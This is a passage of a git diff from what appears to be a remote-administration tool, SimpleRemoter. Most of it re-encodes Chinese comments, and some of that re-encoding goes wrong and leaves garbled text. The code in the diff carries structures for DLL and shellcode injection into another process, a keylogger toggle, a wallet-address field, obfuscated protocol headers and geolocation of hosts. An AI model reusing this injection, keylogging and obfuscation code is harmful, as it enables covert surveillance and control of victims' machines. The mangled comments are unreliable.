9.保留字段 LOGIN_INFOR() { @@ -854,7 +854,7 @@ inline uint64_t GetUnixMs() return system_ms.time_since_epoch().count(); } -// ̶1024ֽ +// 固定1024字节 typedef struct Heartbeat { uint64_t Time; char ActiveWnd[512]; @@ -888,13 +888,13 @@ typedef struct HeartbeatACK { char Reserved[23]; } HeartbeatACK; -// ̶500ֽ +// 固定500字节 typedef struct MasterSettings { - int ReportInterval; // ϱ - int Is64Bit; // Ƿ64λ - char MasterVersion[12]; // ذ汾 - int DetectSoftware; // - int UsingFRPProxy; // ǷʹFRP + int ReportInterval; // 上报间隔 + int Is64Bit; // 主控是否64位 + char MasterVersion[12]; // 主控版本 + int DetectSoftware; // 检测软件 + int UsingFRPProxy; // 是否使用FRP代理 char WalletAddress[472]; // Wallets int EnableKBLogger; // Since 2025-11-27 int EnableLog; // Since 2025-12-17 @@ -904,26 +904,26 @@ typedef struct MasterSettings { #define MasterSettingsOldSize 500 #pragma pack(push, 1) -// 100ֽ: + С + ÷ʽ + DLL +// 100字节: 运行类型 + 大小 + 调用方式 + DLL名称 typedef struct DllExecuteInfo { - int RunType; // - int Size; // DLL С - int CallType; // ÷ʽ - char Name[32]; // DLL + int RunType; // 运行类型 + int Size; // DLL 大小 + int CallType; // 调用方式 + char Name[32]; // DLL 名称 char Md5[33]; // DLL MD5 - int Pid; // עID - char Is32Bit; // Ƿ32λDLL + int Pid; // 被注入进程ID + char Is32Bit; // 是否32位DLL char Reseverd[18]; } DllExecuteInfo; typedef struct DllExecuteInfoNew { - int RunType; // - int Size; // DLL С - int CallType; // ÷ʽ - char Name[32]; // DLL + int RunType; // 运行类型 + int Size; // DLL 大小 + int CallType; // 调用方式 + char Name[32]; // DLL 名称 char Md5[33]; // DLL MD5 - int Pid; // עID - char Is32Bit; // Ƿ32λDLL + int Pid; // 被注入进程ID + char Is32Bit; // 是否32位DLL char Reseverd[18]; char Parameters[400]; } DllExecuteInfoNew; @@ -956,9 +956,9 @@ enum { SHELLCODE = 0, MEMORYDLL = 1, - CALLTYPE_DEFAULT = 0, // Ĭϵ÷ʽ: ֻǼDLL,ҪDLLʱִд - CALLTYPE_IOCPTHREAD = 1, // run߳: DWORD (__stdcall *run)(void* lParam) - CALLTYPE_FRPC_CALL = 2, // FRPC + CALLTYPE_DEFAULT = 0, // 默认调用方式: 只是加载DLL,需要在DLL加载时执行代码 + CALLTYPE_IOCPTHREAD = 1, // 调用run函数启动线程: DWORD (__stdcall *run)(void* lParam) + CALLTYPE_FRPC_CALL = 2, // 调用FRPC }; typedef DWORD(__stdcall* PidCallback)(void); @@ -985,26 +985,26 @@ inline void xor_encrypt_decrypt(unsigned char *data, int len, const std::vector< inline std::tm ToPekingTime(const time_t* t) { - // ȡǰʱ䣨ָΪգ + // 获取当前时间(如果传入的指针为空) std::time_t now = (t == nullptr) ? std::time(nullptr) : *t; - // ̰߳ȫתΪ UTC ʱ + // 线程安全地转换为 UTC 时间 std::tm utc_time{}; -#ifdef _WIN32 // Windows ʹ gmtime_s +#ifdef _WIN32 // Windows 使用 gmtime_s if (gmtime_s(&utc_time, &now) != 0) { - return { 0, 0, 0, 1, 0, 100 }; // ʧʱ 2000-01-01 00:00:00 + return { 0, 0, 0, 1, 0, 100 }; // 失败时返回 2000-01-01 00:00:00 } -#else // Linux / macOS ʹ gmtime_r +#else // Linux / macOS 使用 gmtime_r if (gmtime_r(&now, &utc_time) == nullptr) { return { 0, 0, 0, 1, 0, 100 }; } #endif - // תΪʱ䣨UTC+8 + // 转换为北京时间(UTC+8) utc_time.tm_hour += 8; - // 淶ʱ䣨죩 + // 规范化时间(处理溢出,如跨天) std::mktime(&utc_time); return utc_time; @@ -1027,11 +1027,11 @@ inline std::string ToPekingDateTime(const time_t* t) } typedef struct Validation { - char From[20]; // ʼ - char To[20]; // - char Admin[100]; // ԱַǰصĹַ - int Port; // Ա˿ڣĬϵǰ˿ڣ - char Checksum[16]; // Ԥֶ + char From[20]; // 开始日期 + char To[20]; // 结束日期 + char Admin[100]; // 管理员地址(当前主控的公网地址) + int Port; // 管理员端口(默认当前端口) + char Checksum[16]; // 预留字段 Validation(float days, const char* admin, int port, const char* id="") { time_t from = time(NULL), to = from + time_t(86400 * days); @@ -1052,7 +1052,7 @@ typedef struct Validation { } Validation; #ifdef _DEBUG -// Ϊ˽ԶĻĺ꣬ʱʹãʽ汾û +// 为了解决远程桌面屏幕花屏问题而定义的宏,仅调试时使用,正式版本没有 #define SCREENYSPY_IMPROVE 0 #define SCREENSPY_WRITE 0 #endif @@ -1066,7 +1066,7 @@ typedef struct Validation { #include #endif -// ڴеλͼдļ +// 将内存中的位图写入文件 inline bool WriteBitmap(LPBITMAPINFO bmpInfo, const void* bmpData, const std::string& filePrefix, int index = -1) { char path[_MAX_PATH]; @@ -1091,7 +1091,7 @@ inline bool WriteBitmap(LPBITMAPINFO bmpInfo, const void* bmpData, const std::st return false; } -class MSG32 // ԶϢ(32λ) +class MSG32 // 自定义控制消息(32位) { public: uint32_t hwnd; @@ -1126,9 +1126,9 @@ public: } }; -// Windows ԶϢMSG32λ64λϵͳ´Сͬ¿ƽ̨ܹԶ̿쳣 -// ҪʹԶϢ(ͳһ64λwindows MSG) -class MSG64 // ԶϢ(64λ) +// Windows 自定义的消息MSG在32位和64位系统下大小不同,导致跨平台架构远程控制异常 +// 需要使用自定义的消息(统一采用64位windows 的MSG定义) +class MSG64 // 自定义控制消息(64位) { public: uint64_t hwnd; @@ -1203,7 +1203,7 @@ typedef struct ClientMsg { ClientMsg(const char* title, const char* text) { cmd = TOKEN_CLIENT_MSG; - strcpy_s(this->title, title ? title : "ʾϢ"); + strcpy_s(this->title, title ? title : "提示信息"); strcpy_s(this->text, text ? text : ""); } } ClientMsg; diff --git a/common/dllRunner.h b/common/dllRunner.h index 77fbcbb..3cd4026 100644 --- a/common/dllRunner.h +++ b/common/dllRunner.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once #include // A DLL runner. diff --git a/common/encfuncs.h b/common/encfuncs.h index 2e9154b..6a7a490 100644 --- a/common/encfuncs.h +++ b/common/encfuncs.h @@ -1,115 +1,115 @@ -#pragma once +#pragma once -// ܺ +// 加密函数 inline void encrypt_v1(unsigned char* data, size_t length, unsigned char key) { for (size_t i = 0; i < length; i++) { if (i % 2 == 0) { - data[i] = data[i] + key; // ż key + data[i] = data[i] + key; // 偶数索引加 key } else { - data[i] = data[i] - key; // key + data[i] = data[i] - key; // 奇数索引减 key } } } -// ܺ +// 解密函数 inline void decrypt_v1(unsigned char* data, size_t length, unsigned char key) { for (size_t i = 0; i < length; i++) { if (i % 2 == 0) { - data[i] = data[i] - key; // ż key ԭ + data[i] = data[i] - key; // 偶数索引减 key 还原 } else { - data[i] = data[i] + key; // key ԭ + data[i] = data[i] + key; // 奇数索引加 key 还原 } } } -// ܺ - ʹλת +// 加密函数 - 使用异或和位旋转 inline void encrypt_v2(unsigned char* data, size_t length, unsigned char key) { for (size_t i = 0; i < length; i++) { - // żkeyѭλ1λ - // keyѭλ1λ + // 偶数索引:与key异或后左循环移位1位 + // 奇数索引:与key异或后右循环移位1位 data[i] ^= key; if (i % 2 == 0) { - data[i] = (data[i] << 1) | (data[i] >> 7); // ѭλ + data[i] = (data[i] << 1) | (data[i] >> 7); // 左循环移位 } else { - data[i] = (data[i] >> 1) | (data[i] << 7); // ѭλ + data[i] = (data[i] >> 1) | (data[i] << 7); // 右循环移位 } } } -// ܺ +// 解密函数 inline void decrypt_v2(unsigned char* data, size_t length, unsigned char key) { for (size_t i = 0; i < length; i++) { - // ܵ + // 加密的逆操作 if (i % 2 == 0) { - data[i] = (data[i] >> 1) | (data[i] << 7); // ѭλԭ + data[i] = (data[i] >> 1) | (data[i] << 7); // 右循环移位还原 } else { - data[i] = (data[i] << 1) | (data[i] >> 7); // ѭλԭ + data[i] = (data[i] << 1) | (data[i] >> 7); // 左循环移位还原 } - data[i] ^= key; // ٴԭ + data[i] ^= key; // 再次异或还原 } } -// ܺ V3 - keyĶ̬ +// 加密函数 V3 - 基于索引和key的动态计算 inline void encrypt_v3(unsigned char* data, size_t length, unsigned char key) { for (size_t i = 0; i < length; i++) { - unsigned char dynamic_key = key + (i % 8); // ̬仯key + unsigned char dynamic_key = key + (i % 8); // 动态变化的key(基于索引) if (i % 3 == 0) { - data[i] = (data[i] + dynamic_key) ^ dynamic_key; // ӷ + + data[i] = (data[i] + dynamic_key) ^ dynamic_key; // 加法 + 异或 } else if (i % 3 == 1) { - data[i] = (data[i] ^ dynamic_key) - dynamic_key; // + + data[i] = (data[i] ^ dynamic_key) - dynamic_key; // 异或 + 减法 } else { - data[i] = ~(data[i] + dynamic_key); // ȡ + ӷ + data[i] = ~(data[i] + dynamic_key); // 取反 + 加法 } } } -// ܺ V3 +// 解密函数 V3 inline void decrypt_v3(unsigned char* data, size_t length, unsigned char key) { for (size_t i = 0; i < length; i++) { unsigned char dynamic_key = key + (i % 8); if (i % 3 == 0) { - data[i] = (data[i] ^ dynamic_key) - dynamic_key; // ټ + data[i] = (data[i] ^ dynamic_key) - dynamic_key; // 逆操作:先异或再减 } else if (i % 3 == 1) { - data[i] = (data[i] + dynamic_key) ^ dynamic_key; // ȼ + data[i] = (data[i] + dynamic_key) ^ dynamic_key; // 逆操作:先加再异或 } else { - data[i] = ~data[i] - dynamic_key; // ȡټ + data[i] = ~data[i] - dynamic_key; // 逆操作:取反再减 } } } -// ܺ V4 - αУͬ +// 加密函数 V4 - 基于伪随机序列(简单线性同余生成器) inline void encrypt_v4(unsigned char* data, size_t length, unsigned char key) { unsigned char rand = key; for (size_t i = 0; i < length; i++) { - rand = (rand * 13 + 17) % 256; // αɣLCG - data[i] ^= rand; // α + rand = (rand * 13 + 17) % 256; // 伪随机数生成(LCG) + data[i] ^= rand; // 用伪随机数异或加密 } } -// ܺ V4ȫͬΪԷԣ +// 解密函数 V4(与加密完全相同,因为异或的自反性) inline void decrypt_v4(unsigned char* data, size_t length, unsigned char key) { - encrypt_v4(data, length, key); // ܵĽִܾһ + encrypt_v4(data, length, key); // 异或加密的解密就是再执行一次 } -// ܺ V5 - V5 汾̬Կ + λ㣩 +// 加密函数 V5 - V5 版本(动态密钥派生 + 多重位运算) inline void encrypt_v5(unsigned char* data, size_t length, unsigned char key) { for (size_t i = 0; i < length; i++) { - unsigned char dynamic_key = (key + i) ^ 0x55; // ̬Կ + unsigned char dynamic_key = (key + i) ^ 0x55; // 动态密钥派生 data[i] = ((data[i] + dynamic_key) ^ (dynamic_key << 3)) + (i % 7); } } -// ܺ V5 +// 解密函数 V5 inline void decrypt_v5(unsigned char* data, size_t length, unsigned char key) { for (size_t i = 0; i < length; i++) { @@ -118,18 +118,18 @@ inline void decrypt_v5(unsigned char* data, size_t length, unsigned char key) } } -// /ܺ V6Էԣ - V6 汾α + ԷԽܣ +// 加密/解密函数 V6(自反性) - V6 版本(伪随机流混淆 + 自反性解密) inline void encrypt_v6(unsigned char* data, size_t length, unsigned char key) { unsigned char rand = key; for (size_t i = 0; i < length; i++) { - rand = (rand * 31 + 17) % 256; // α - data[i] ^= rand + i; // ֵ̬ + rand = (rand * 31 + 17) % 256; // 简单伪随机生成 + data[i] ^= rand + i; // 异或动态值 } } -// ܺ V6ֱӵ encrypt_v6 ɣ +// 解密函数 V6(直接调用 encrypt_v6 即可) inline void decrypt_v6(unsigned char* data, size_t length, unsigned char key) { - encrypt_v6(data, length, key); // Է + encrypt_v6(data, length, key); // 异或的自反性 } diff --git a/common/encrypt.h b/common/encrypt.h index edab380..f101a87 100644 --- a/common/encrypt.h +++ b/common/encrypt.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once // This file implements a serial of data encoding methods. #include extern "C" { diff --git a/common/file_upload.h b/common/file_upload.h index 27f3040..7f9e25f 100644 --- a/common/file_upload.h +++ b/common/file_upload.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once #include #include @@ -6,12 +6,12 @@ #pragma pack(push, 1) struct FileChunkPacket { unsigned char cmd; // COMMAND_SEND_FILE - uint32_t fileIndex; // ļ - uint32_t totalNum; // ļ - uint64_t fileSize; // ļС - uint64_t offset; // ǰļеƫ - uint64_t dataLength; // ݳ - uint64_t nameLength; // ļȣ '\0' + uint32_t fileIndex; // 文件编号 + uint32_t totalNum; // 文件总数 + uint64_t fileSize; // 整个文件大小 + uint64_t offset; // 当前块在文件中的偏移 + uint64_t dataLength; // 本块数据长度 + uint64_t nameLength; // 文件名长度(不含 '\0') }; #pragma pack(pop) diff --git a/common/hash.h b/common/hash.h index 6530ead..7517fa9 100644 --- a/common/hash.h +++ b/common/hash.h @@ -1,20 +1,20 @@ - + /* -原文:https://github.com/yuanyuanxiang/SimpleRemoter/releases/tag/v1.0.1.1 +鍘熸枃锛歨ttps://github.com/yuanyuanxiang/SimpleRemoter/releases/tag/v1.0.1.1 -自v1.1.1版本开始,主控程序需要授权,并且会自动连接到授权服务器,您可以联系作者请求授权。 -如果对这个有意见,请使用早期版本( #include @@ -19,7 +19,7 @@ enum HeaderEncType { HeaderEncNum, }; -// ݱʽʶ + 󳤶(4ֽ) + 󳤶(4ֽ) +// 数据编码格式:标识符 + 编码后长度(4字节) + 解码后长度(4字节) const int FLAG_COMPLEN = 4; const int FLAG_LENGTH = 8; const int HDR_LENGTH = FLAG_LENGTH + 2 * sizeof(unsigned int); @@ -35,12 +35,12 @@ inline void default_decrypt(unsigned char* data, size_t length, unsigned char ke { } -// ܺ +// 加密函数 inline void encrypt(unsigned char* data, size_t length, unsigned char key) { if (key == 0) return; for (size_t i = 0; i < length; ++i) { - unsigned char k = static_cast(key ^ (i * 31)); // ̬Ŷ key + unsigned char k = static_cast(key ^ (i * 31)); // 动态扰动 key int value = static_cast(data[i]); switch (i % 4) { case 0: @@ -53,14 +53,14 @@ inline void encrypt(unsigned char* data, size_t length, unsigned char key) value -= k; break; case 3: - value = ~(value ^ k); // ಽ任ȡ + value = ~(value ^ k); // 多步变换:先异或再取反 break; } data[i] = static_cast(value & 0xFF); } } -// ܺ +// 解密函数 inline void decrypt(unsigned char* data, size_t length, unsigned char key) { if (key == 0) return; @@ -78,7 +78,7 @@ inline void decrypt(unsigned char* data, size_t length, unsigned char key) value += k; break; case 3: - value = ~(value) ^ k; // ⿪ȡ + value = ~(value) ^ k; // 解开:先取反,再异或 break; } data[i] = static_cast(value & 0xFF); @@ -111,7 +111,7 @@ typedef struct HeaderFlag { } } HeaderFlag; -// дݰͷ +// 写入数据包的头 inline HeaderFlag GetHead(EncFun enc) { char header[FLAG_LENGTH + 1] = { 'H','E','L','L', 0 }; @@ -144,8 +144,8 @@ inline int compare(const char *flag, const char *magic, int len, DecFun dec, uns return -1; } -// ȶݰǰֽ -// ָĽܺȶݰͷнܣбȶ +// 比对数据包前几个字节 +// 会用指定的解密函数先对数据包头进行解密,再来进行比对 inline FlagType CheckHead(const char* flag, DecFun dec) { FlagType type = FLAG_UNKNOWN; @@ -163,7 +163,7 @@ inline FlagType CheckHead(const char* flag, DecFun dec) return type; } -// ҪԶַԱܼϰ汾ͨѶЭ +// 解密需要尝试多种方法,以便能兼容老版本通讯协议 inline FlagType CheckHead(char* flag, HeaderEncType& funcHit) { static const DecFun methods[] = { default_decrypt, decrypt, decrypt_v1, decrypt_v2, decrypt_v3, decrypt_v4, decrypt_v5, decrypt_v6 }; diff --git a/common/ikcp.c b/common/ikcp.c index 079ff05..0c3f68b 100644 --- a/common/ikcp.c +++ b/common/ikcp.c @@ -1,4 +1,4 @@ -//===================================================================== +//===================================================================== // // KCP - A Better ARQ Protocol Implementation // skywind3000 (at) gmail.com, 2010-2011 diff --git a/common/ikcp.h b/common/ikcp.h index 250c70e..f4fbf3d 100644 --- a/common/ikcp.h +++ b/common/ikcp.h @@ -1,4 +1,4 @@ -//===================================================================== +//===================================================================== // // KCP - A Better ARQ Protocol Implementation // skywind3000 (at) gmail.com, 2010-2011 diff --git a/common/iniFile.h b/common/iniFile.h index 47ed07f..3c7bf09 100644 --- a/common/iniFile.h +++ b/common/iniFile.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once #include "common/commands.h" @@ -51,24 +51,24 @@ static inline std::string GetRegistryName() { return name; } -// 获取当前会话用户的注册表根键 -// SYSTEM 进程无法使用 HKEY_CURRENT_USER,需要通过 HKEY_USERS\ 访问 -// 返回的 HKEY 需要调用者在使用完毕后调用 RegCloseKey 关闭 +// 鑾峰彇褰撳墠浼氳瘽鐢ㄦ埛鐨勬敞鍐岃〃鏍归敭 +// SYSTEM 杩涚▼鏃犳硶浣跨敤 HKEY_CURRENT_USER锛岄渶瑕侀€氳繃 HKEY_USERS\ 璁块棶 +// 杩斿洖鐨?HKEY 闇€瑕佽皟鐢ㄨ€呭湪浣跨敤瀹屾瘯鍚庤皟鐢?RegCloseKey 鍏抽棴 inline HKEY GetCurrentUserRegistryKey() { HKEY hUserKey = NULL; - // 获取当前进程的会话 ID + // 鑾峰彇褰撳墠杩涚▼鐨勪細璇?ID DWORD sessionId = 0; ProcessIdToSessionId(GetCurrentProcessId(), &sessionId); - // 获取该会话的用户令牌 + // 鑾峰彇璇ヤ細璇濈殑鐢ㄦ埛浠ょ墝 HANDLE hUserToken = NULL; if (!WTSQueryUserToken(sessionId, &hUserToken)) { - // 如果失败(可能不是服务进程),回退到 HKEY_CURRENT_USER + // 濡傛灉澶辫触锛堝彲鑳戒笉鏄湇鍔¤繘绋嬶級锛屽洖閫€鍒?HKEY_CURRENT_USER return HKEY_CURRENT_USER; } - // 获取令牌中的用户信息大小 + // 鑾峰彇浠ょ墝涓殑鐢ㄦ埛淇℃伅澶у皬 DWORD dwSize = 0; GetTokenInformation(hUserToken, TokenUser, NULL, 0, &dwSize); if (dwSize == 0) { @@ -76,7 +76,7 @@ inline HKEY GetCurrentUserRegistryKey() return HKEY_CURRENT_USER; } - // 分配内存并获取用户信息 + // 鍒嗛厤鍐呭瓨骞惰幏鍙栫敤鎴蜂俊鎭? TOKEN_USER* pTokenUser = (TOKEN_USER*)malloc(dwSize); if (!pTokenUser) { SAFE_CLOSE_HANDLE(hUserToken); @@ -89,7 +89,7 @@ inline HKEY GetCurrentUserRegistryKey() return HKEY_CURRENT_USER; } - // 将 SID 转换为字符串 + // 灏?SID 杞崲涓哄瓧绗︿覆 LPSTR szSid = NULL; if (!ConvertSidToStringSidA(pTokenUser->User.Sid, &szSid)) { free(pTokenUser); @@ -97,9 +97,9 @@ inline HKEY GetCurrentUserRegistryKey() return HKEY_CURRENT_USER; } - // 打开 HKEY_USERS\ + // 鎵撳紑 HKEY_USERS\ if (RegOpenKeyExA(HKEY_USERS, szSid, 0, KEY_READ | KEY_WRITE, &hUserKey) != ERROR_SUCCESS) { - // 尝试只读方式 + // 灏濊瘯鍙鏂瑰紡 if (RegOpenKeyExA(HKEY_USERS, szSid, 0, KEY_READ, &hUserKey) != ERROR_SUCCESS) { hUserKey = NULL; } @@ -112,7 +112,7 @@ inline HKEY GetCurrentUserRegistryKey() return hUserKey ? hUserKey : HKEY_CURRENT_USER; } -// 检查是否需要关闭注册表根键(非预定义键需要关闭) +// 妫€鏌ユ槸鍚﹂渶瑕佸叧闂敞鍐岃〃鏍归敭锛堥潪棰勫畾涔夐敭闇€瑕佸叧闂級 inline void CloseUserRegistryKeyIfNeeded(HKEY hKey) { if (hKey != HKEY_CURRENT_USER && @@ -130,7 +130,7 @@ inline void CloseUserRegistryKeyIfNeeded(HKEY hKey) #endif -// 配置读取类: 文件配置. +// 閰嶇疆璇诲彇绫? 鏂囦欢閰嶇疆. class config { private: @@ -154,7 +154,7 @@ public: return ::GetPrivateProfileIntA(MainKey.c_str(), SubKey.c_str(), nDef, m_IniFilePath); } - // 获取配置项中的第一个整数 + // 鑾峰彇閰嶇疆椤逛腑鐨勭涓€涓暣鏁? virtual int Get1Int(const std::string& MainKey, const std::string& SubKey, char ch=';', int nDef=0) { std::string s = GetStr(MainKey, SubKey, ""); @@ -181,7 +181,7 @@ public: } }; -// 配置读取类: 注册表配置. +// 閰嶇疆璇诲彇绫? 娉ㄥ唽琛ㄩ厤缃? class iniFile : public config { private: @@ -204,13 +204,13 @@ public: } } - // 写入整数,实际写为字符串 + // 鍐欏叆鏁存暟锛屽疄闄呭啓涓哄瓧绗︿覆 bool SetInt(const std::string& MainKey, const std::string& SubKey, int Data) override { return SetStr(MainKey, SubKey, std::to_string(Data)); } - // 写入字符串 + // 鍐欏叆瀛楃涓? bool SetStr(const std::string& MainKey, const std::string& SubKey, const std::string& Data) override { std::string fullPath = m_SubKeyPath + "\\" + MainKey; @@ -225,7 +225,7 @@ public: return bRet; } - // 读取字符串 + // 璇诲彇瀛楃涓? std::string GetStr(const std::string& MainKey, const std::string& SubKey, const std::string& def = "") override { std::string fullPath = m_SubKeyPath + "\\" + MainKey; @@ -245,7 +245,7 @@ public: return result; } - // 读取整数,先从字符串中转换 + // 璇诲彇鏁存暟锛屽厛浠庡瓧绗︿覆涓浆鎹? int GetInt(const std::string& MainKey, const std::string& SubKey, int defVal = 0) override { std::string val = GetStr(MainKey, SubKey); @@ -282,19 +282,19 @@ public: } } - // 写入整数(写为二进制) + // 鍐欏叆鏁存暟锛堝啓涓轰簩杩涘埗锛? bool SetInt(const std::string& MainKey, const std::string& SubKey, int Data) override { return SetBinary(MainKey, SubKey, reinterpret_cast(&Data), sizeof(int)); } - // 写入字符串(以二进制方式) + // 鍐欏叆瀛楃涓诧紙浠ヤ簩杩涘埗鏂瑰紡锛? bool SetStr(const std::string& MainKey, const std::string& SubKey, const std::string& Data) override { return SetBinary(MainKey, SubKey, reinterpret_cast(Data.data()), static_cast(Data.size())); } - // 读取字符串(从二进制数据转换) + // 璇诲彇瀛楃涓诧紙浠庝簩杩涘埗鏁版嵁杞崲锛? std::string GetStr(const std::string& MainKey, const std::string& SubKey, const std::string& def = "") override { std::vector buffer; @@ -304,7 +304,7 @@ public: return std::string(buffer.begin(), buffer.end()); } - // 读取整数(从二进制解析) + // 璇诲彇鏁存暟锛堜粠浜岃繘鍒惰В鏋愶級 int GetInt(const std::string& MainKey, const std::string& SubKey, int defVal = 0) override { std::vector buffer; diff --git a/common/ip_enc.h b/common/ip_enc.h index 8b8ed98..85260ea 100644 --- a/common/ip_enc.h +++ b/common/ip_enc.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once #include #include @@ -11,14 +11,14 @@ class StreamCipher private: uint32_t state; - // 򵥷α + // 简单非线性伪随机数生成器 uint8_t prngNext() { - // ӣxorshift32һ + // 例子:xorshift32,改造一点非线性 state ^= (state << 13); state ^= (state >> 17); state ^= (state << 5); - // ٻһ򵥵ķԱ任 + // 再混合一个简单的非线性变换 uint8_t out = (state & 0xFF) ^ ((state >> 8) & 0xFF); return out; } @@ -26,7 +26,7 @@ private: public: StreamCipher(uint32_t key) : state(key) {} - // ܽܣԳƣȲ䣩 + // 加密解密(对称,长度不变) void process(uint8_t* data, size_t len) { for (size_t i = 0; i < len; ++i) { @@ -38,20 +38,20 @@ public: class PrintableXORCipher { public: - // ԳƼӽܣΪɴӡַ - // ǰ᣺32~126Χַ + // 对称加解密,输入和输出均为可打印字符 + // 前提:输入是32~126范围的字符 void process(char* data, size_t len) { for (size_t i = 0; i < len; ++i) { char c = data[i]; - // ַ֤ǿɴӡΧ + // 保证输入字符是可打印范围 if (c < 32 || c > 126) { - // ǴӡַҲԶ + // 不处理非打印字符(或者你也可以自定义错误处理) continue; } - // 0x55'U'ȷ32~126֮ + // 异或0x55('U')且确保结果仍是32~126之间 char encrypted = c ^ 0x55; - // ڷΧطΧڣ򵥼Ӽѭ + // 如果不在范围,修正回范围内(简单加减循环) if (encrypted < 32) encrypted += 95; if (encrypted > 126) encrypted -= 95; data[i] = encrypted; diff --git a/common/jconfig.h b/common/jconfig.h index 2df0648..8b53b5b 100644 --- a/common/jconfig.h +++ b/common/jconfig.h @@ -1,4 +1,4 @@ -#define JPEG_LIB_VERSION 62 +#define JPEG_LIB_VERSION 62 #define LIBJPEG_TURBO_VERSION 2.1.1 #define LIBJPEG_TURBO_VERSION_NUMBER 2001001 diff --git a/common/jmorecfg.h b/common/jmorecfg.h index 0984d89..2109a92 100644 --- a/common/jmorecfg.h +++ b/common/jmorecfg.h @@ -1,4 +1,4 @@ -/* +/* * jmorecfg.h * * This file was part of the Independent JPEG Group's software: diff --git a/common/jpeglib.h b/common/jpeglib.h index dac3f6e..7e89abe 100644 --- a/common/jpeglib.h +++ b/common/jpeglib.h @@ -1,4 +1,4 @@ -/* +/* * jpeglib.h * * This file was part of the Independent JPEG Group's software: diff --git a/common/location.h b/common/location.h index 6aa3e49..60fc2e0 100644 --- a/common/location.h +++ b/common/location.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once #include #include #include @@ -37,8 +37,8 @@ inline void splitIpPort(const std::string& input, std::string& ip, std::string& } /** - * IPConverter: IP ࣬ڻȡIPȡIPӦĵλõ. - * ĿǰͨùĻAPIɣòѯվɷҪ. + * IPConverter: IP 操作类,用于获取公网IP,获取IP对应的地理位置等. + * 目前是通过调用公开的互联网API完成,假如该查询网站不可访问则需要重新适配. */ class IPConverter { @@ -49,23 +49,23 @@ public: } /** - * жϸ IP ַǷǾIP - * @param ipAddress IP ַַ "192.168.1.1" - * @return Ǿ IP true; 򷵻 false + * 判断给定的 IP 地址是否是局域网(内网)IP + * @param ipAddress IP 地址字符串(如 "192.168.1.1") + * @return 如果是局域网 IP,返回 true; 否则返回 false */ bool IsPrivateIP(const std::string& ipAddress) { - // IP ַַתΪƸʽ + // 将 IP 地址字符串转换为二进制格式 in_addr addr; if (inet_pton(AF_INET, ipAddress.c_str(), &addr) != 1) { Mprintf("Invalid IP address: %s\n", ipAddress.c_str()); return false; } - // IP ַתΪ޷ + // 将二进制 IP 地址转换为无符号整数 unsigned long ip = ntohl(addr.s_addr); - // IP ַǷھΧ + // 检查 IP 地址是否在局域网范围内 if ((ip >= 0x0A000000 && ip <= 0x0AFFFFFF) || // 10.0.0.0/8 (ip >= 0xAC100000 && ip <= 0xAC1FFFFF) || // 172.16.0.0/12 (ip >= 0xC0A80000 && ip <= 0xC0A8FFFF) || // 192.168.0.0/16 @@ -76,13 +76,13 @@ public: return false; } - // ȡλ + // 获取本机地理位置 std::string GetLocalLocation() { return GetGeoLocation(getPublicIP()); } - // ȡ IP ַλ([ipinfo.io]) + // 获取 IP 地址地理位置(基于[ipinfo.io]) std::string GetGeoLocation(const std::string& IP) { if (IP.empty()) return ""; @@ -98,14 +98,14 @@ public: DWORD bytesRead; std::string readBuffer; - // ʼ WinINet + // 初始化 WinINet hInternet = InternetOpen("IP Geolocation", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); if (hInternet == NULL) { Mprintf("InternetOpen failed! %d\n", GetLastError()); return ""; } - // HTTP + // 创建 HTTP 请求句柄 std::string url = "http://ipinfo.io/" + ip + "/json"; hConnect = InternetOpenUrlA(hInternet, url.c_str(), NULL, 0, INTERNET_FLAG_RELOAD, 0); if (hConnect == NULL) { @@ -114,13 +114,13 @@ public: return ""; } - // ȡص + // 读取返回的内容 char buffer[4096]; while (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) { readBuffer.append(buffer, bytesRead); } - // JSON Ӧ + // 解析 JSON 响应 Json::Value jsonData; Json::Reader jsonReader; std::string location; @@ -128,7 +128,7 @@ public: if (jsonReader.parse(readBuffer, jsonData)) { std::string country = jsonData["country"].asString(); std::string city = jsonData["city"].asString(); - std::string loc = jsonData["loc"].asString(); // γϢ + std::string loc = jsonData["loc"].asString(); // 经纬度信息 if (city.empty() && country.empty()) { } else if (city.empty()) { location = country; @@ -144,7 +144,7 @@ public: Mprintf("Failed to parse JSON response: %s.\n", readBuffer.c_str()); } - // رվ + // 关闭句柄 InternetCloseHandle(hConnect); InternetCloseHandle(hInternet); @@ -158,7 +158,7 @@ public: bool isLocalIP(const std::string& ip) { - if (isLoopbackAddress(ip)) return true; // ȼػַ + if (isLoopbackAddress(ip)) return true; // 先检查回环地址 ULONG outBufLen = 15000; IP_ADAPTER_ADDRESSES* pAddresses = (IP_ADAPTER_ADDRESSES*)malloc(outBufLen); @@ -185,29 +185,29 @@ public: return false; } - // ȡIP, ȡʧܷؿ + // 获取公网IP, 获取失败返回空 std::string getPublicIP() { clock_t t = clock(); - // ѡѯԴ + // 多个候选查询源 static const std::vector urls = { - "https://checkip.amazonaws.com", // ȫ - "https://api.ipify.org", // ߿ - "https://ipinfo.io/ip", // ÷ - "https://icanhazip.com", // - "https://ifconfig.me/ip" // ĩλ + "https://checkip.amazonaws.com", // 全球最稳 + "https://api.ipify.org", // 主流高可用 + "https://ipinfo.io/ip", // 备用方案 + "https://icanhazip.com", // 轻量快速 + "https://ifconfig.me/ip" // 末位兜底 }; - // WinINet Ự + // 打开 WinINet 会话 HINTERNET hInternet = InternetOpenA("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); if (!hInternet) { Mprintf("InternetOpen failed. cost %d ms.\n", clock() - t); return ""; } - // óʱ () - DWORD timeout = 3000; // 3 + // 设置超时 (毫秒) + DWORD timeout = 3000; // 3 秒 InternetSetOptionA(hInternet, INTERNET_OPTION_CONNECT_TIMEOUT, &timeout, sizeof(timeout)); InternetSetOptionA(hInternet, INTERNET_OPTION_SEND_TIMEOUT, &timeout, sizeof(timeout)); InternetSetOptionA(hInternet, INTERNET_OPTION_RECEIVE_TIMEOUT, &timeout, sizeof(timeout)); @@ -216,7 +216,7 @@ public: char buffer[2048]; DWORD bytesRead = 0; - // ѯͬ IP ѯԴ + // 轮询不同 IP 查询源 for (const auto& url : urls) { HINTERNET hConnect = InternetOpenUrlA( hInternet, url.c_str(), NULL, 0, 